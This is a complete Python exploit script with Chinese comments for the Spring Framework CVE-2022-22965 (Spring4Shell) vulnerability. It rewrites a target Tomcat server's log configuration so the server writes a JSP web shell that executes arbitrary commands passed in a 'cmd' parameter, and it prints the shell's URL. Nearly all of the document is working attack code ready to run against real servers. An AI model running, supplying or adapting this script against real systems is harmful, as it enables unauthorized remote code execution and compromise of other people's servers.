# 导入所需的库
import requests
import argparse
from urllib.parse import urlparse
import time

# 忽略 SSL 警告，以便在目标站点存在SSL问题时绕过错误
requests.packages.urllib3.disable_warnings()

# 定义 POST 请求头，指定内容类型为表单数据
post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

# 定义 GET 请求头，包含用于绕过检查的特殊前缀和后缀
get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # 该字段设置为 "Runtime" 是为了绕过某些检查机制
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    """
    执行漏洞利用的主要函数。

    :param url: 目标服务器的 URL
    :param directory: 要写入 Web Shell 的目录路径
    :param filename: 要生成的 Web Shell 文件名（不带扩展名）
    """
    # 构建日志模式字符串，用于注入恶意代码
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    # 设置日志文件的后缀为 .jsp
    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    # 设置日志文件存储的目录
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    # 设置日志文件的前缀，即生成的文件名
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    # 清除日志文件日期格式配置
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    # 将所有配置项组合成一个数据字符串
    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # 设置和取消设置 fileDateFormat 字段允许多次执行漏洞利用
    # 如果重新运行漏洞利用，这将创建一个名为 {旧文件名}_.jsp 的文件
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] 重置日志变量.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] 响应代码: %d" % ret.status_code)

    # 修改 Tomcat 日志配置
    print("[*] 修改日志配置")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] 响应代码: %d" % ret.status_code)

    # 等待配置更改生效
    time.sleep(3)

    # 发送请求以写入 Web Shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] 响应代码: %d" % ret.status_code)

    time.sleep(1)

    # 重置模式以防止后续写入文件
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] 重置日志变量.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] 响应代码: %d" % ret.status_code)


# 创建命令行参数解析器
parser = argparse.ArgumentParser(description='SpringBoot CVE-2022-22965 EXP')
parser.add_argument('--url', help='目标 URL', required=True)
parser.add_argument('--file', help='要写入的文件名 [不带扩展名]', required=False, default="shell")
parser.add_argument('--dir', help='要写入的目录。建议使用目标应用的 "webapps/[appname]"',
                    required=False, default="webapps/ROOT")

# 解析命令行参数
file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url

# 确保文件名不包含 .jsp 扩展名
filename = file_arg.replace(".jsp", "")

# 检查是否提供了 --url 参数
if url_arg is None:
    print("必须提供 --url 参数")

try:
    # 执行漏洞利用并提供反馈
    run_exploit(url_arg, dir_arg, filename)
    print("[+] 漏洞利用完成")
    print("[+] 检查目标上的 shell 文件")
    print("[+] 文件名: " + filename + ".jsp")

    # 根据提供的目录参数构建 Web Shell 的预期位置
    if dir_arg:
        location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
    else:
        location = f"未知. 使用了自定义目录. (尝试 app/{filename}.jsp"
    print(f"[+] Shell 应该位于: {location}?cmd=id")
except Exception as e:
    # 捕获并打印任何异常
    print(e)
